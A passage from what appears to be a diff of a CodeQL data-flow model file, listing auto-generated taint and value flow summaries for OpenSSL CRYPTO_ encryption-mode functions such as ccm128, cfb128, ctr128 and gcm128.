char[16],block128_f)", "", "Argument[*1]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*3].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*3].Field[*data]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*4]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[1]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_aad", "(CCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*cmac].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_aad", "(CCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*cmac].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_aad", "(CCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*cmac].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_decrypt", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_decrypt", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_decrypt", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*cmac].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_decrypt", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_decrypt_ccm64", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f)", "", "Argument[*1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_decrypt_ccm64", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_decrypt_ccm64", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f)", "", "Argument[2]", "Argument[*0].Field[*cmac].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_decrypt_ccm64", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_decrypt_ccm64", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f)", "", "Argument[3]", "Argument[*0].Field[*cmac].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_decrypt_ccm64", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f)", "", "Argument[3]", "Argument[*0].Field[*nonce].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_decrypt_ccm64", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_encrypt", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*cmac].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_encrypt", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_encrypt", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*cmac].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_encrypt", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_encrypt", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_encrypt", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[*blocks]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_encrypt_ccm64", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f)", "", "Argument[*1]", "Argument[*0].Field[*cmac].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_encrypt_ccm64", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f)", "", "Argument[*1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_encrypt_ccm64", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f)", "", "Argument[1]", "Argument[*0].Field[*cmac].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_encrypt_ccm64", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_encrypt_ccm64", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_init", "(CCM128_CONTEXT *,unsigned int,unsigned int,void *,block128_f)", "", "Argument[**3]", "Argument[*0].Field[***key]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_init", "(CCM128_CONTEXT *,unsigned int,unsigned int,void *,block128_f)", "", "Argument[*3]", "Argument[*0].Field[**key]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_init", "(CCM128_CONTEXT *,unsigned int,unsigned int,void *,block128_f)", "", "Argument[1]", "Argument[*0].Field[*nonce].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_init", "(CCM128_CONTEXT *,unsigned int,unsigned int,void *,block128_f)", "", "Argument[2]", "Argument[*0].Field[*nonce].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_init", "(CCM128_CONTEXT *,unsigned int,unsigned int,void *,block128_f)", "", "Argument[3]", "Argument[*0].Field[*key]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_init", "(CCM128_CONTEXT *,unsigned int,unsigned int,void *,block128_f)", "", "Argument[4]", "Argument[*0].Field[*block]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_setiv", "(CCM128_CONTEXT *,const unsigned char *,size_t,size_t)", "", "Argument[*1]", "Argument[*0].Field[*nonce].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_setiv", "(CCM128_CONTEXT *,const unsigned char *,size_t,size_t)", "", "Argument[1]", "Argument[*0].Field[*nonce].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_setiv", "(CCM128_CONTEXT *,const unsigned char *,size_t,size_t)", "", "Argument[3]", "Argument[*0].Field[*nonce].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_tag", "(CCM128_CONTEXT *,unsigned char *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "CRYPTO_ccm128_tag", "(CCM128_CONTEXT *,unsigned char *,size_t)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "CRYPTO_cfb128_1_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*3].Field[*rd_key].Union[*(unnamed class/struct/union)]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_1_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*3].Field[*rd_key].Union[*(unnamed class/struct/union)]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_1_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_1_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_1_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_1_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_8_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_8_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*0]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_8_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*3].Field[*rd_key].Union[*(unnamed class/struct/union)]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_8_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*3].Field[*rd_key].Union[*(unnamed class/struct/union)]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_8_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_8_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_8_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_8_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_8_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_8_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*0]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*3].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*3].Field[*data]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*5]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[5]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_clear_realloc", "(void *,size_t,size_t,const char *,int)", "", "Argument[**0]", "ReturnValue[**]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_clear_realloc", "(void *,size_t,size_t,const char *,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_clear_realloc", "(void *,size_t,size_t,const char *,int)", "", "Argument[*0]", "Argument[**0]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_clear_realloc", "(void *,size_t,size_t,const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_clear_realloc", "(void *,size_t,size_t,const char *,int)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_clear_realloc", "(void *,size_t,size_t,const char *,int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_clear_realloc", "(void *,size_t,size_t,const char *,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f)", "", "Argument[*6]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f)", "", "Argument[6]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt_ctr32", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt_ctr32", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt_ctr32", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt_ctr32", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f)", "", "Argument[*6]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt_ctr32", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt_ctr32", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt_ctr32", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt_ctr32", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt_ctr32", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt_ctr32", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt_ctr32", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt_ctr32", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f)", "", "Argument[6]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt_ctr32", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)", "", "Argument[*0]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*0]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*1]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*4]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[1]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_dup_ex_data", "(int,CRYPTO_EX_DATA *,const CRYPTO_EX_DATA *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "CRYPTO_dup_ex_data", "(int,CRYPTO_EX_DATA *,const CRYPTO_EX_DATA *)", "", "Argument[0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "CRYPTO_gcm128_aad", "(GCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*Xi].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_aad", "(GCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*Xi].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_aad", "(GCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Xi].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_aad", "(GCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*ares]", "value", "dfc-generated"] + - ["", "", True, 